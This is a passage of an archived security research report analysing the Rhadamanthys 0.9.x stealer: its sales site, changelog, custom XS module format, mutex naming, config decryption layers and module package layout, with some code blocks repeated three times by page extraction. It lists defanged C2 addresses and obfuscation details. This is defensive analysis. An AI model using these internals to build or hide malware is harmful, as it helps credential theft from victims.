{
	"id": "22ba551c-93e0-4cf5-b9fe-8627a335d791",
	"created_at": "2026-04-23T02:54:36.432614Z",
	"updated_at": "2026-04-25T02:18:18.679193Z",
	"deleted_at": null,
	"sha1_hash": "2b6a6d3b022f2097f1a3dabc579610b0eced90b6",
	"title": "Rhadamanthys 0.9.x – walk through the updates",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 250724,
	"plain_text": "Rhadamanthys 0.9.x – walk through the updates\r\nBy shlomoo@checkpoint.com\r\nPublished: 2025-10-01 · Archived: 2026-04-23 02:28:59 UTC\r\nResearch by: hasherezade\r\nHighlights\r\nRhadamanthys is a popular, multi-modular stealer, released in 2022. Since then, it has been used in multiple\r\ncampaigns by various actors. Most recently, it is being observed in the ClickFix campaigns.\r\nThe latest version, 0.9.2, comes with significant updates that may impact detection and enforce updates to tools used\r\nby researchers.\r\nCheck Point Research (CPR) provides multiple scripts that can help defenders keep up with these changes: a\r\nconverter for the new version of the custom executable format, a deobfuscator for strings, and an unpacker for the\r\npackage that carries the modules.\r\nIn this report we provide details of the latest changes and describe them in the context of the malware as a whole.\r\nIntroduction\r\nRhadamanthys is a complex, multi-modular malware sold on the underground market since September 2022. It was first\r\nadvertised by the actor “kingcrete2022.” From the outset, its design showed the hallmarks of experienced developers, and\r\nanalysis soon revealed that it drew heavily from an earlier project by the same authors, Hidden Bee [1]. This strong\r\nfoundation helped Rhadamanthys quickly gain traction: from a niche product, it grew into one of the dominant stealers in\r\ncybercrime campaigns and has even attracted interest from more advanced threat actors.\r\nSince its appearance, Check Point Research (CPR) has been closely tracking its development, noting constant updates and\r\ncustomization options. In previous publications, we explored the breadth of its features, internal design, and the execution\r\nflow of its components using v0.5 as an example. Much of that work remains relevant today, as the core architecture has\r\nstayed intact.\r\nHowever, with the release of v0.9.x, Rhadamanthys introduced changes that broke some of our previously published tools,\r\nincluding the custom format converter and string deobfuscator. This was a clear sign that the family had reached another\r\nmilestone update, one significant enough to warrant a fresh analysis. In this blog, we present our findings on the latest\r\nrelease, v0.9.2.\r\nIt is worth noting that the initial loader of Rhadamanthys comes in multiple variants: it can be a .NET executable or a native\r\nWindows executable (32- or 64-bit). The main target of our analysis is the execution chain started by the native version.\r\nAlthough the first stage varies, the later stages are identical for all loader types.\r\nWebsite makeover\r\nRhadamanthys was initially promoted through posts on cybercrime forums, but soon it became clear that the author had a\r\nmore ambitious plan to connect with potential customers and build visibility. In parallel, they launched a Telegram support\r\nchannel, a Tor website with detailed product descriptions, and offered communication via Tox. Most recently, the website\r\nunderwent a complete makeover, presenting a polished and professional image. The operators now brand themselves as\r\n“RHAD security” and “Mythical Origin Labs.”\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 1 of 40\n\nFigure 1 – Attackers’ website, main view\r\nThe new site showcases all of their products, including teasers for those still in development. Alongside Rhadamanthys –\r\ntheir flagship stealer – they also advertise Elysium Proxy Bot and a Crypt Service. Version updates are also listed, though this\r\nsection is not always up to date with actual releases.\r\nFigure 2 - The attackers’ website: overview of different products\r\nFigure 2 – The attackers’ website: overview of different products\r\nAs before, Rhadamanthys is offered in tiered packages: from $299 per month for a self-hosted version, to $499 per month\r\nwith a rented server and additional benefits. A special Enterprise tier, with individually negotiated pricing, is also available.\r\nFigure 3 - The attackers’ website: pricing of Rhadamanthys\r\nFigure 3 – The attackers’ website: pricing of Rhadamanthys\r\nThe combination of the branding, product portfolio, and pricing structure suggest that the authors treat Rhadamanthys as a\r\nlong-term business venture rather than a side project.\r\nFor defenders, this professionalization signals that Rhadamanthys with its growing customer base and an expanding\r\necosystem is likely here to stay, making it important to track not only its malware updates but also the business\r\ninfrastructure that sustains it.\r\nAnnouncements: 0.9.x\r\nThe release of version 0.9 was announced in February 2025, followed by subsequent updates 0.9.1 and 0.9.2. The official\r\nwebsite, however, still lists only 0.9.1 (released in May). Its changelog includes a long list of updates, reproduced below:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nv0.9.1 (2025-05-18)\r\n- Redesigned database operation process, separated read and write operations. Ensures data write integrity\r\n- User management permission levels, introduced new worker, traffic merchant, removed observer mode\r\n- Optimized file packaging and CPU usage when exporting to directory. Significantly reduced log packaging export speed\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 2 of 40\n\n- TOR removed random address generation, fixed address permanently effective\r\n- Management login added 2FA OTP login verification\r\n- Client and task plugins, introduced memory mutex throughout the process, suppressing multiple executions on the same\r\nmachine sending duplicate data\r\n- Client loading introduced tracking system, can interface with user's loading program. Program startup and data collection\r\nwork will trigger WEBHOOK callback\r\n- When generating client files, directly select tags from list, generated files named by build tags\r\n- Support using multiple server lists for client building\r\n- Support relay jump page, real server URL encrypted stored in jump page\r\n- Build stub completely removed registry write operations, X64 version, added process injection switch, can choose self-process injection and new process injection\r\n- Task execution conditions added HWID condition\r\n- LOG display pagination list added log total count display\r\n- LOG list page added download count flag block\r\n- FILE download added, one-click package all exported logs into a compressed package, convenient for download\r\n- Telegram message template, added new filter categories\r\n- Added shim server work detection, 5 minutes offline, sends Telegram message notification\r\n- Fixed delete duplicate LOG function, keeps latest record\r\n- Fixed search function, fixed time search function\r\n- Agrent_X wallet, changed to Argent\r\n- a Kepler wallet changed to Keplr\r\n- API interface changes, added new API interfaces\r\n- Get device fingerprint information, added browser fingerprint information collection\r\n- Build stub redesigned, higher stability and reliability\r\n- Added nonascii: true configuration, supporting non-ASCII character password filtering\r\nv0.9.1 (2025-05-18) - Redesigned database operation process, separated read and write operations. Ensures data write\r\nintegrity - User management permission levels, introduced new worker, traffic merchant, removed observer mode -\r\nOptimized file packaging and CPU usage when exporting to directory. Significantly reduced log packaging export speed -\r\nTOR removed random address generation, fixed address permanently effective - Management login added 2FA OTP login\r\nverification - Client and task plugins, introduced memory mutex throughout the process, suppressing multiple executions on\r\nthe same machine sending duplicate data - Client loading introduced tracking system, can interface with user's loading\r\nprogram. Program startup and data collection work will trigger WEBHOOK callback - When generating client files, directly\r\nselect tags from list, generated files named by build tags - Support using multiple server lists for client building - Support\r\nrelay jump page, real server URL encrypted stored in jump page - Build stub completely removed registry write operations,\r\nX64 version, added process injection switch, can choose self-process injection and new process injection - Task execution\r\nconditions added HWID condition - LOG display pagination list added log total count display - LOG list page added\r\ndownload count flag block - FILE download added, one-click package all exported logs into a compressed package,\r\nconvenient for download - Telegram message template, added new filter categories - Added shim server work detection, 5\r\nminutes offline, sends Telegram message notification - Fixed delete duplicate LOG function, keeps latest record - Fixed\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 3 of 40\n\nsearch function, fixed time search function - Agrent_X wallet, changed to Argent - a Kepler wallet changed to Keplr - API\r\ninterface changes, added new API interfaces - Get device fingerprint information, added browser fingerprint information\r\ncollection - Build stub redesigned, higher stability and reliability - Added nonascii: true configuration, supporting non-ASCII character password filtering\r\nv0.9.1 (2025-05-18)\r\n- Redesigned database operation process, separated read and write operations. Ensures data write integrity\r\n- User management permission levels, introduced new worker, traffic merchant, removed observer mode\r\n- Optimized file packaging and CPU usage when exporting to directory. Significantly reduced log packaging expo\r\n- TOR removed random address generation, fixed address permanently effective\r\n- Management login added 2FA OTP login verification\r\n- Client and task plugins, introduced memory mutex throughout the process, suppressing multiple executions on\r\n- Client loading introduced tracking system, can interface with user's loading program. Program startup and da\r\n- When generating client files, directly select tags from list, generated files named by build tags\r\n- Support using multiple server lists for client building\r\n- Support relay jump page, real server URL encrypted stored in jump page\r\n- Build stub completely removed registry write operations, X64 version, added process injection switch, can ch\r\n- Task execution conditions added HWID condition\r\n- LOG display pagination list added log total count display\r\n- LOG list page added download count flag block\r\n- FILE download added, one-click package all exported logs into a compressed package, convenient for download\r\n- Telegram message template, added new filter categories\r\n- Added shim server work detection, 5 minutes offline, sends Telegram message notification\r\n- Fixed delete duplicate LOG function, keeps latest record\r\n- Fixed search function, fixed time search function\r\n- Agrent_X wallet, changed to Argent\r\n- a Kepler wallet changed to Keplr\r\n- API interface changes, added new API interfaces\r\n- Get device fingerprint information, added browser fingerprint information collection\r\n- Build stub redesigned, higher stability and reliability\r\n- Added nonascii: true configuration, supporting non-ASCII character password filtering\r\nSeveral entries stand out, including the introduction of a global mutex to suppress duplicate executions, expanded process\r\ninjection options, and a redesigned build stub. These indicate modifications to the core modules.\r\nVersion 0.9.2, released a few months later and already gaining traction, is not yet listed on the website.\r\nAs always, such changelogs are written for customers and do not fully capture the points of greatest interest to researchers.\r\nHowever, they still provide useful hints about which areas of the stealer have changed. In the following sections, we present\r\nthe results of our analysis and highlight the modifications we confirmed, together with several changes that were not\r\ndocumented in the public notes.\r\nLumma-like message box\r\nThe first thing that stands out in the updated release (0.9.2) is the introduction of a new message box that appears at the start\r\nof the malware. We encounter it as soon as we unpack the initial executable.\r\nIt’s a well-known fact is that most malware is distributed in a protective layer, meant to thwart static detection. The usual\r\nfirst step of analysis is to remove it and reach the core executable (it can be done automatically, i.e. with the help of tools\r\nlike PE-sieve/HollowsHunter). Interestingly, after unpacking the latest Rhadamanthys (0.9.2), as we try to run the obtained\r\nexecutable, the warning message shows up, saying: “Do you want to run a malware? (Crypt build to disable this message)”.\r\nFigure 4 - Unpacked Rhadamanthys sample showing the message box (view from x64dbg)\r\nFigure 4 – Unpacked Rhadamanthys sample showing the message box (view from x64dbg)\r\nThis message box is familiar to anyone who has ever analyzed the famous Lumma stealer (more info: here [5]).\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 4 of 40\n\nIn the past, the Lumma stealer introduced a check aimed at preventing malware distributors from spreading the initial\r\nexecutable in its plain, unprotected form, which can be easily detected. It was also preventing unskilled distributors from\r\ngetting their own machine infected. The malware checks the file from which it is deployed, and if it found familiar patterns\r\nat the defined offsets, it recognizes that it is running from the raw, unpacked sample. In such cases, instead of running\r\nmalicious actions immediately, a pop-up is displayed, asking the user for permission to continue. An identical check is now\r\nperformed by Rhadamanthys.\r\nAt first glance, it may appear that both malware families share the same code, responsible for displaying the message. But\r\nupon closer inspection, we can see that completely different APIs are called along the way. In Lumma, opening and reading\r\nthe file is implemented via raw syscalls, and the message box is executed via  NtRaiseHardError .\r\nFigure X – Tracing an unpacked Lumma with TinyTracer; tracelog of executed APIs in the background\r\nFigure 5 – Tracing an unpacked Lumma with TinyTracer; tracelog of executed APIs in the background\r\nIn Rhadamanthys, raw syscalls aren’t used, and the same message box is displayed by  MessageBoxW .\r\nFigure X – Tracing an unpacked Rhadamanthys with TinyTracer; tracelog of executed APIs in the\r\nbackground\r\nFigure 6 – Tracing an unpacked Rhadamanthys with TinyTracer; tracelog of executed APIs in the background\r\nBoth loaders are obfuscated, but the obfuscation patterns are different. In the case of the Rhadamanthys loader, the APIs\r\nused are static, but the code blocks that call them are disconnected – this obfuscation pattern reminds of some LLVM-based\r\nobfuscators.\r\nFigure 7 – Fragment of Rhadamanthys code, showing the code block responsible for reading the file, along\r\nwith the obfuscation patterns used. The jump to the next code chunk happens via EAX, using a dynamically\r\ncalculated address.\r\nIn contrast, Lumma code is much more coherent and can be decompiled. The important functions are called via syscalls,\r\nusing a single proxy function:\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 5 of 40\n\nFigure 8 – Fragment of Lumma code implementing the same functionality. There is no disconnect between the\r\ncode blocks. Functions are called via wrapper, using raw syscalls.\r\nTherefore, despite the surface-level similarity, it seems to be just a behavioral mimicry. We don’t have any proof of links\r\nbetween the Lumma development group and Rhadamanthys; however, it is possible that after Europol’s operation earlier this\r\nyear, some members of the original Lumma team joined the promising competitor.\r\nThis message box occurs in the Stage 1 executable. Typically for Rhadamanthys, this executable runs a shellcode in\r\nmemory, which loads Stage 2, that consist of multiple modules. Its core modules are implemented in a format proprietary to\r\nthis malware that we denote as XS.\r\nUpdates in the custom XS format\r\nSince its inception, Rhadamanthys has shipped its executable modules in custom formats rather than the standard PEs. Only\r\nthe first stage (the initial component), is a typical Windows executable. Its role is to prepare and deploy the set of\r\ncomponents, that are unpacked from the internal package.\r\nCustom formats preserve all the essential components of an executable, such as relocations, import tables, and sections with\r\naccess rights – but this information is stored in headers fully reinvented by the authors. Unlike PE or ELF files, which are\r\nnatively supported by the operating systems, custom executables require proprietary loaders. This acts as a form of\r\nobfuscation, as standard tools can’t parse them. In addition, the absence of expected headers makes it more difficult to dump\r\nthose components from memory, and reconstruct them.\r\nThe evolution of the custom formats used by Rhadamanthys was described in detail in our earlier work From Hidden Bee to\r\nRhadamanthys, along with a tool to convert them into PE for easier study (available here). Since version 0.5, Rhadamanthys\r\nmodules used formats starting with the magic value  XS . Two subtypes exist, used at different stages of execution (details\r\noutlined here):\r\nXS1: modules from the Stage 2 package, embedded in the initial executable.\r\nXS2: modules from the Stage 3 package, downloaded from C2 after environment checks.\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 6 of 40\n\nIn v0.9.x, both formats received updates, which we label XS1_B and XS2_B.\r\nThe first subtype (XS1) contains an extended header, with a field denoting the version number. The current variant is version\r\n4, a direct increment over the previously described one.\r\nThe header of the XS1_B can be described by the following structure:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n#pragma pack(push, 1) // Adjust to one byte\r\ntypedef struct {\r\nWORD magic;\r\nWORD nt_magic;\r\nWORD sections_count;\r\n**//WORD imp_key; \u003c- removed**\r\nWORD hdr_size;\r\nBYTE ver;\r\n**BYTE imp_key; // \u003c- added here**\r\nDWORD module_size;\r\nDWORD entry_point;\r\nt_XS_data_dir data_dir[XS_DATA_DIR_COUNT];\r\nt_XS_section sections;\r\n} t_XS_format_B;\r\n#pragma pack(pop) // Back to the previous settings\r\n#pragma pack(push, 1) // Adjust to one byte typedef struct { WORD magic; WORD nt_magic; WORD sections_count;\r\n**//WORD imp_key; \u003c- removed** WORD hdr_size; BYTE ver; **BYTE imp_key; // \u003c- added here** DWORD\r\nmodule_size; DWORD entry_point; t_XS_data_dir data_dir[XS_DATA_DIR_COUNT]; t_XS_section sections; }\r\nt_XS_format_B; #pragma pack(pop) // Back to the previous settings\r\n#pragma pack(push, 1) // Adjust to one byte\r\n typedef struct {\r\n WORD magic;\r\n WORD nt_magic;\r\n WORD sections_count;\r\n **//WORD imp_key; \u003c- removed**\r\n WORD hdr_size;\r\n BYTE ver;\r\n **BYTE imp_key; // \u003c- added here**\r\n DWORD module_size;\r\n DWORD entry_point;\r\n t_XS_data_dir data_dir[XS_DATA_DIR_COUNT];\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 7 of 40\n\nt_XS_section sections;\r\n } t_XS_format_B;\r\n#pragma pack(pop) // Back to the previous settings\r\nThe major change that we can observe is a lack of the WORD field before the header size. In the previous version (XS1_A)\r\nthis field stood for the key that was used for deobfuscating the names of the DLLs, used in the custom Import Table. Now\r\nthis field is removed, because the deobfuscating algorithm has been replaced with the new one:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nbool decode_name_B(BYTE* dll_name, size_t name_len)\r\n{\r\nif (!name_len) {\r\nreturn false;\r\n}\r\nBYTE out_name[128] = { 0 };\r\nsize_t indx = 0;\r\nsize_t pos = 0;\r\nsize_t flag = 0;\r\nfor (size_t i = 0; i \u003c name_len; ++i) {\r\nBYTE outC = 0;\r\nfor (WORD round = 7; round \u003e 0; round--) {\r\nBYTE val = dll_name[indx];\r\nif (pos) {\r\nflag = (val \u003e\u003e (7 - pos)) \u0026 1;\r\nif (pos == 7) {\r\npos = 0;\r\n++indx;\r\n}\r\nelse {\r\n++pos;\r\n}\r\n}\r\nelse {\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 8 of 40\n\nflag = val \u003e\u003e 7;\r\npos = 1;\r\n}\r\noutC |= (flag != 0) \u003c\u003c (round - 1);\r\n}\r\nif (!is_valid_dll_char(outC)) {\r\nreturn false;\r\n}\r\nout_name[i] = outC;\r\n}\r\nout_name[name_len] = 0;\r\n::memcpy(dll_name, out_name, name_len);\r\nreturn true;\r\n}\r\nbool decode_name_B(BYTE* dll_name, size_t name_len) { if (!name_len) { return false; } BYTE out_name[128] = { 0 };\r\nsize_t indx = 0; size_t pos = 0; size_t flag = 0; for (size_t i = 0; i \u003c name_len; ++i) { BYTE outC = 0; for (WORD round =\r\n7; round \u003e 0; round--) { BYTE val = dll_name[indx]; if (pos) { flag = (val \u003e\u003e (7 - pos)) \u0026 1; if (pos == 7) { pos = 0;\r\n++indx; } else { ++pos; } } else { flag = val \u003e\u003e 7; pos = 1; } outC |= (flag != 0) \u003c\u003c (round - 1); } if\r\n(!is_valid_dll_char(outC)) { return false; } out_name[i] = outC; } out_name[name_len] = 0; ::memcpy(dll_name, out_name,\r\nname_len); return true; }\r\nbool decode_name_B(BYTE* dll_name, size_t name_len)\r\n{\r\n if (!name_len) {\r\n return false;\r\n }\r\n BYTE out_name[128] = { 0 };\r\n size_t indx = 0;\r\n size_t pos = 0;\r\n size_t flag = 0;\r\n for (size_t i = 0; i \u003c name_len; ++i) {\r\n BYTE outC = 0;\r\n for (WORD round = 7; round \u003e 0; round--) {\r\n BYTE val = dll_name[indx];\r\n if (pos) {\r\n flag = (val \u003e\u003e (7 - pos)) \u0026 1;\r\n if (pos == 7) {\r\n pos = 0;\r\n ++indx;\r\n }\r\n else {\r\n ++pos;\r\n }\r\n }\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 9 of 40\n\nelse {\r\n flag = val \u003e\u003e 7;\r\n pos = 1;\r\n }\r\n outC |= (flag != 0) \u003c\u003c (round - 1);\r\n }\r\n if (!is_valid_dll_char(outC)) {\r\n return false;\r\n }\r\n out_name[i] = outC;\r\n }\r\n out_name[name_len] = 0;\r\n ::memcpy(dll_name, out_name, name_len);\r\n return true;\r\n}\r\nStill, the malware uses an import deobfuscation key ( imp_key ) to resolve imported functions. This time the key is shorter,\r\nonly one BYTE long. It is used in calculating checksums that are then mapped to particular functions’ names.\r\nThe next stage format (XS2_B) underwent some lighter modifications. The only thing that changed was one of the fields in\r\nthe custom import structure: it was extended from WORD to DWORD. This field carries the name of the DLL. In the past it\r\ncould be carried in an obfuscated form, now it is used as is.\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n#pragma pack(push, 1) // Adjust to one byte\r\ntypedef struct {\r\nDWORD dll_name_rva;\r\nDWORD first_thunk;\r\nDWORD original_first_thunk;\r\n**DWORD obf_dll_len; //WORD obf_dll_len;**\r\n} t_XS_import_B;\r\n#pragma pack(pop) // Back to the previous settings\r\n#pragma pack(push, 1) // Adjust to one byte typedef struct { DWORD dll_name_rva; DWORD first_thunk; DWORD\r\noriginal_first_thunk; **DWORD obf_dll_len; //WORD obf_dll_len;** } t_XS_import_B; #pragma pack(pop) // Back to the\r\nprevious settings\r\n#pragma pack(push, 1) // Adjust to one byte\r\n typedef struct {\r\n DWORD dll_name_rva;\r\n DWORD first_thunk;\r\n DWORD original_first_thunk;\r\n **DWORD obf_dll_len; //WORD obf_dll_len;**\r\n } t_XS_import_B;\r\n#pragma pack(pop) // Back to the previous settings\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 10 of 40\n\nAs we can see, the changes do not add any new qualities to the format. The most likely role of the restructuring is to\r\ninvalidate earlier parsers. It reflects the ongoing pattern of incremental churn aimed at slowing analysts down.\r\nAll the changes are now reflected in the updates to our tool, and the new modules can be successfully converted into PE.\r\nChanges in the initial checks (Stage 2 core)\r\nThe Stage 2 core, implemented as an XS1 module, starts its execution with various checks that are used to decide if the\r\nmalware should continue its execution. Most of them have not changed since earlier versions. However, some underwent\r\nmakeovers.\r\nRemoval of the SibCode key\r\nIn the past, in consecutive versions of Rhadamanthys, it used the  SibCode  registry keys in order to save the timestamp of\r\nthe last execution. Depending on the version, the keys may look like one of the following:\r\nHKCU\\SOFTWARE\\SibCode\\sn\r\nHKCU\\SOFTWARE\\SibCode\\sn2\r\nHKCU\\SOFTWARE\\SibCode\\sn3\r\nIt was introduced to prevent the sample from being executed again too quickly after the first deployment. While initially the\r\ntimestamp was saved as a single DWORD, in consecutive releases the author put more effort into making it tamper-proof. It\r\nwas described in detail in [4] under “Re-Execution Delay Feature”. The presence of this registry key was one of the easy-to-notice symptoms of Rhadamanthys infection. This is probably the reason why the author gave it up completely, mentioning\r\nin the 0.9.1 changelog: “Build stub completely removed registry write operations”. Indeed by checking the code we can\r\nconfirm that the relevant function is now absent.\r\nMutex creation\r\nIn the earlier releases, Rhadamanthys used to create its mutex in a somewhat repeatable manner, based on a hash made of\r\nhardcoded values. This allowed researchers to create a universal vaccine (described in [4]). Now, the author decided to\r\nevade this simple way of preventing the malware from running.\r\nSince 0.9, the Rhadamanthys configuration (described further) includes a 16-byte seed value that participates in mutex name\r\ngeneration. It is hashed along with the magic  XRHY . The first 16 bytes of the hash are then split into chunks and formatted\r\ninto the Mutex name:\r\nFigure 9 - Fragment of the function responsible for generation of the Mutex name\r\nFigure 9 – Fragment of the function responsible for generation of the Mutex name\r\nPossible format strings for the generation of mutexes:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n\"Global\\MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\"\r\n\"Session\\%u\\MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\"\r\n\"MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\"\r\n\"Global\\MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\" \"Session\\%u\\MSCTF.Asm.\r\n{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\" \"MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-\r\n%02x%02x%02x%02x%02x%02x}\"\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 11 of 40\n\n\"Global\\MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\"\r\n\"Session\\%u\\MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\"\r\n\"MSCTF.Asm.{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\"\r\nIf creation of the first mutex option fails, the second is applied, with an index after “Session” that can be in the range 1-8.\r\nDepending on the flags set in the configuration, the mutex can be passed into all the processes where Rhadamanthys injects\r\nits modules (by duplicating the handle). This feature is enabled by default and disabled if the flag  0x40  or  0x20  is set.\r\nKnowing this, we can search for the handle of the mutex in other processes, to check which belong to the same\r\nRhadamanthys execution tree.\r\nNew configuration (RH v0.9.x)\r\nThe main Rhadamanthys module is shipped with an obfuscated configuration, which is decrypted and parsed at the\r\nbeginning of the execution. It contains the C2 address, encryption keys used along the way, and various flags that specify\r\nwhich features of the malware will be enabled or disabled. This configuration has evolved considerably across consecutive\r\nversions. The explanation of the used fields in a relatively new version (0.7) has been provided in [4].\r\nFigure 6 - Rhadamanthys configuration in version 0.7, as described by Recorded Future\r\nFigure 10 – Rhadamanthys configuration in version 0.7, as described by Recorded Future\r\nThe magic  0x59485221  (  !RHY  ) has been used by this malware since the beginning of its existence. However, in the\r\nrecent version 0.9.2, it is replaced with the  0xBEEF  DWORD (first noted here). Also, the configuration content has been\r\nsignificantly extended.\r\nFigure 7 - Rhadamanthys configuration in version 0.9 - the packed format, starting with BE EF markers\r\nFigure 11 – Rhadamanthys configuration in version 0.9 – the packed format, starting with BE EF markers\r\nThe unpacked configuration, starting with  0xBEEF  markers, is not the final version but a compressed form. After the\r\nappropriate arguments are fetched, LZO decompression is applied. The result looks as follows:\r\nFigure 8 - Rhadamanthys configuration in version 0.9 - the unpacked format\r\nFigure 12 – Rhadamanthys configuration in version 0.9 – the unpacked format\r\nWhile in the past the config allowed one C2 per sample, multiple options are now allowed. Example:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nhxxps://193.233.126.43/gateway/iesm4j25.s4pj7\r\nhxxps://193.23.216.48/gateway/iesm4j25.s4pj7\r\nhxxps://193.233.126.43/gateway/iesm4j25.s4pj7 hxxps://193.23.216.48/gateway/iesm4j25.s4pj7\r\nhxxps://193.233.126.43/gateway/iesm4j25.s4pj7\r\nhxxps://193.23.216.48/gateway/iesm4j25.s4pj7\r\nStructure illustrating the new config (after decompression):\r\nPlain text\r\nCopy to clipboard\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 12 of 40\n\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nstruct config_new\r\n{\r\nDWORD flags;\r\nDWORD unk0;\r\nBYTE aes_iv[16];\r\nBYTE mutex_seed[16];\r\nBYTE unk1[18];\r\nWORD padding;\r\nBYTE urls[256];\r\n};\r\nstruct config_new { DWORD flags; DWORD unk0; BYTE aes_iv[16]; BYTE mutex_seed[16]; BYTE unk1[18]; WORD\r\npadding; BYTE urls[256]; };\r\nstruct config_new\r\n{\r\n DWORD flags;\r\n DWORD unk0;\r\n BYTE aes_iv[16];\r\n BYTE mutex_seed[16];\r\n BYTE unk1[18];\r\n WORD padding;\r\n BYTE urls[256];\r\n};\r\nConfiguration decoding\r\nAs in the previous version, the configuration is stored in the main sample as a Base64 string, encoded with a custom charset.\r\nIn the current version, the charset used is:  4NOPQRSTUVWXY567DdeEqrstuvwxyz-ABC1fghop23Fijkbc|lmnGHIJKLMZ089a .\r\nLayers of config deobfuscation before the  0xBEEF  config blob is obtained are:\r\n1. Base64 decoding with a custom charset\r\n2. ChaCha20 decryption, using the key and the IV stored at the beginning of the obtained blob\r\n3. CBC XOR shuffle\r\nAfter that, the configuration is decompressed with LZO algorithm.\r\nThis model of configuration was also observed in the version 0.9, and 0.9.1. While 0.9.2 changed the marker to  0xBEEF ,\r\nthe older variants continued to use the known  RHY! .\r\nConfig flags\r\nThe config contains the field  flags  values of which are used to off and on some possible execution paths. Overview:\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 13 of 40\n\nFlag Meaning Read/Written\r\n0x2 init: the config was decrypted successfuly W\r\n0x10 delete initial file R,W\r\n0x20\r\nclose mutex (as in 0x40); use staging\r\nmodules:  stage.x86 ,  early.x86 /  early.x64\r\nR,W\r\n0x40 close mutex handle; do not pass the mutex to further injected processes R\r\nFetching modules by checksums (Stage 2)\r\nAs mentioned earlier, the important modules of the malware are stored in an internal package and retrieved on demand.\r\nIn the past versions, modules were fetched from the package by their names, or even full paths relative to the internal\r\nfilesystem. This made researchers’ job easier, since we were able to infer functionality just by looking at the name. Now the\r\nauthors has moved toward obfuscation and has hidden the names. The modules are represented by checksums.\r\nFigure 10 - After the package is unpacked, specific modules are fetched by their checksums\r\nFigure 13 – After the package is unpacked, specific modules are fetched by their checksums\r\nThe reconstructed package structure (Stage 2):\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\ntypedef struct DATA_DIR {\r\nstruct {\r\nuint32_t header_rel_off;\r\nuint32_t checksum;\r\n};\r\n} _DATA_DIR;\r\ntypedef struct DATA_RECORD {\r\nstruct {\r\nuint32_t size;\r\nuint8_t offset[1];\r\n};\r\n} _DATA_RECORD;\r\ntypedef struct PACKAGE {\r\nuint32_t total_size;\r\nuint16_t reserved;\r\nuint16_t xor_key;\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 14 of 40\n\nuint32_t dir_offset;\r\nuint16_t data_offset;\r\nuint8_t file_count;\r\nuint8_t blk_shift;\r\n_DATA_DIR dir[1];\r\n} _PACKAGE;\r\ntypedef struct DATA_DIR { struct { uint32_t header_rel_off; uint32_t checksum; }; } _DATA_DIR; typedef struct\r\nDATA_RECORD { struct { uint32_t size; uint8_t offset[1]; }; } _DATA_RECORD; typedef struct PACKAGE { uint32_t\r\ntotal_size; uint16_t reserved; uint16_t xor_key; uint32_t dir_offset; uint16_t data_offset; uint8_t file_count; uint8_t\r\nblk_shift; _DATA_DIR dir[1]; } _PACKAGE;\r\ntypedef struct DATA_DIR {\r\n struct {\r\n uint32_t header_rel_off;\r\n uint32_t checksum;\r\n };\r\n} _DATA_DIR;\r\ntypedef struct DATA_RECORD {\r\n struct {\r\n uint32_t size;\r\n uint8_t offset[1];\r\n };\r\n} _DATA_RECORD;\r\ntypedef struct PACKAGE {\r\n uint32_t total_size;\r\n uint16_t reserved;\r\n uint16_t xor_key;\r\n uint32_t dir_offset;\r\n uint16_t data_offset;\r\n uint8_t file_count;\r\n uint8_t blk_shift;\r\n _DATA_DIR dir[1];\r\n} _PACKAGE;\r\nWhenever modules are about to be retrieved, the raw package, that is shipped as hardcoded in the initial executable, is first\r\ndecrypted and decompressed. Each time it is done, a fresh XOR key is set for the obfuscation of the modules. We can\r\nobserve this inside the decode_package  function:\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 15 of 40\n\nFigure 14 – Inside the function responsible for unpacking the package. After decompression, the modules 